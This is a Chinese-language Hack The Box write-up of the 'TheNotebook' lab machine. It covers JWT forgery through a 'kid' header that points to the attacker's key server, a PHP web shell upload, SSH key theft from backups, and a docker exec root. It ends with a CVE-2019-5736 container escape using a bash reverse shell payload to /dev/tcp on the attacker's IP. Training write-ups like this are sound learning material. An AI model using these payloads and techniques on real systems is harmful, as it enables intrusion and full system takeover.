Hackthebox - TheNotebook
靶场信息
靶场类型
信息搜集
首先使用nmap进行端口扫描
nmap -A -sS -sC -sV 10.10.10.230
我们可以看到,一共有三个端口22 80 10010,其中10010目前是关闭状态,所以咱们的突破口还是在80端口
进去后只有三个按钮 Home、Register、Login
Home就是主页,所以咱们先创建一个账号试试
注册了一个名为Lucifiel的账号,提示我们在/notes下可以查看到笔记,咱们先去看看
目前没有笔记,那就创建一个看看吧
嗯。。。暂时没什么可利用的,咱们来看看能不能找到管理员账号吧
先退出登录,然后登录的时候咱们测试一下
账号admin
提示密码错误
账号admin1
提示账户不存在
嗯。。。确定了admin账户存在,但是在使用top1000进行爆破后,并没有爆破出密码
漏洞利用
咱们登入刚才注册的Lucifiel账号,然后看看cookie
咱们可以看到auth下有三段base64的字段
咱们使用CyberChef进行解密,会发现第三段是乱码,咱们就解密前两段就好了
{“typ”:”JWT”,”alg”:”RS256”,”kid”:”http://localhost:7070/privKey.key"}
{“username”:”Lucifiel”,”email”:”Lucifiel@email.com“,”admin_cap”:false}
解密出来的内容,我们会发现,上面有一个JWT,我感觉这是突破口
直接搜索JWT 找到了一个官网并且有相关的介绍,我们发现JWT是一个JSON 网络令牌
JWT格式
headers.payload.signature
这就是咱们的突破口了,可算是找到了
漏洞利用
由于Headers和Payload是明文储存的,所以咱们先把这两项修改好
Headers = {“typ”:”JWT”,”alg”:”RS256”,”kid”:”http://10.10.14.184/privKey.key"}
Payload = {“username”:”Lucifiel”,”email”:”Lucifiel@email.com“,”admin_cap”:1}
但是这里的signature也就是密钥却是加密的,咱们无法修改也无法读取,怎么办呢?当然是Google啦
https://gist.github.com/ygotthilf/baa58da5c3dd1f69fae9
ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key
Don’t add passphrase
openssl rsa -in privKey.key -pubout -outform PEM -out privKey.key.pub
cat privKey.key
cat privKey.key.pub
经过Google搜索JWT密钥的生成放式,咱们找到了所需的命令
kali里生成
这就是咱们要的密钥了
- -—BEGIN PUBLIC KEY—–
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnwiGXuFO1peifvmt2y08
U89mLgcwp+jxcXkp0/qURF2N9ZqnIYp/Jp6HuGJcqeeoJT/DprtAJsCs6hWJ2Fdq
nSPGs63Ig6OqGJQK/dH2vt6EzQaXqRmkCeN9jwTTPmMr5xklcCtmBAGq8h4NY5LN
PcB9GHudFyi8U/Ae2f/ED8koR/AyG1ZdC6SvMv3tjOmkJ5Cax+jbGJMtUGEj4Xfa
Na5kJxDSq8F4Z16/I+4IO7/cfQlVOMNZ09tvEjOAUxjaD8YkueIvyOHeIXhmEY7/
DF/Tkoh7fpRt+9AWEbASZi/p2m+DF9Ws/K8MyXqNjpWhLrRDpeVLuOLd33V2BQ2w
RwIDAQAB
- -—END PUBLIC KEY—–
咱们将headers和payload和进行base64,并且保存为JWT需要的格式headers.payload.signature
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xODQvcHJpdktleS5rZXkifQ.eyJ1c2VybmFtZSI6Ikx1Y2lmaWVsIiwiZW1haWwiOiJMdWNpZmllbEBlbWFpbC5jb20iLCJhZG1pbl9jYXAiOjF9.Q0kirAQPuqVJLtkhAa0pkrB11Dy0-tDm-8H9b3HDja7VWPc4mIiupMYzUzxAZamlA1xnUA_x1Btx4N7lcc09GdXZ0o9Ma-q_j-mPu2V-iFJ5hoYSZdL91bjqGMxp-oJ38pSMW4ulJzssuiRa6wl_C-8n9P4i6T0gqvLQjRUr8ksaLoM1WvU4SRjRN6EH_oFY_P9rTGilC2Vt1uogZ0UZGikDmXRXy74rH_-Bvkx8JcFgLgM5D4xPa5ayKFJ-jF-0vazUB8oUeKMr5za1vCbJXSBSNSosQ1MhkacUkEMnOllWNgYilbZR9t1p05vUnaT7ntbsYbILxb6fk4hVU1LyYA
脚本:
import jwt
key = open(“privKey.key.pub”, ‘r’).read()
headers = {“typ”: “JWT”, “alg”: “RS256”, “kid”: “http://10.10.14.184/privKey.key"}
payload = {“username”: “Lucifiel”, “email”: “Lucifiel@email.com“, “admin_cap”: 1}
print(jwt.encode(payload, headers=headers, key=key, algorithm=’RS256’))
使用该脚本即可生成我们所需要的cookie
在咱们本地使用python3开启一个http服务器
python3 -m http.server 80
然后修改10.10.10.230靶场的cookie,然后刷新
咱们可以看到,成功越权,然后出现了一个按钮 admin panel 咱们访问
发现可以上传文件
我们可以看到,管理员创建了一个笔记,意思是可以上传php文件
https://github.com/Arrexel/phpbash
咱们上传一个php马上去
成功获得一个www-data权限的shell
权限提升
我们看管理员说存在backups备份文件
咱们再/var/backups/目录下发现一个home.tar.gz文件,咱们在靶机上开启http服务把他搞下来
python3 -m http.server 8888
我们找到了noah用户的公钥和私钥
直接使用密钥登录,成功登录
成功拿到user权限的flag
咱们使用sudo -l查看一下sudo权限
发现可以使用docker运行webapp-dev01这个脚本 * 代表可以接受人和参数
直接su成功切换到root用户
sudo /usr/bin/docker exec -it webapp-dev01 sh -c “su”
我以为事情到这里就结束了,毕竟咱们已经拿到root权限了,接下来就是找到flag就好了,但是在寻找flag的时候
发现root文件为空,再结合咱们所处的环境来进行判断,我不得不相信,我们居然是在一个docker里?所以现在还得进行docker逃逸?
这个靶场,确实有难度的呀
docker逃逸
https://github.com/Frichetten/CVE-2019-5736-PoC
经过查询,发现docker exec是存在cve漏洞的 咱们可以直接利用
var payload = “#! /bin/bash \n bash -i >& /dev/tcp/10.10.14.184/4444 0>&1”
咱们下载下来后修改payload
修改好payload以后,咱们使用golang进行编译
然后上传到服务器内,在本地开启http服务
python3 -m http.server 80
在本地启动nc进行监听
上传后运行
第一个root权限运行脚本
第二个noah权限运行指令
成功获得root权限
成功得到root权限flag
最后总结:这台机器确实挺有难度的,我也是第一次碰到需要虚拟机逃逸的靶场。这台机器耗时两天,去掉睡觉和休息时间还有工作时间,耗时应该超过10小时,确实对得起这个难度。还是挺有意思的,学到了不少姿势,其中有一些玄学问题,请教了不少大佬
此处在这感谢我叮叮师傅@ loid
可算是做完了,这两天做的快脑溢血了,就是因为一天时间没有做出来,所以拖更了一天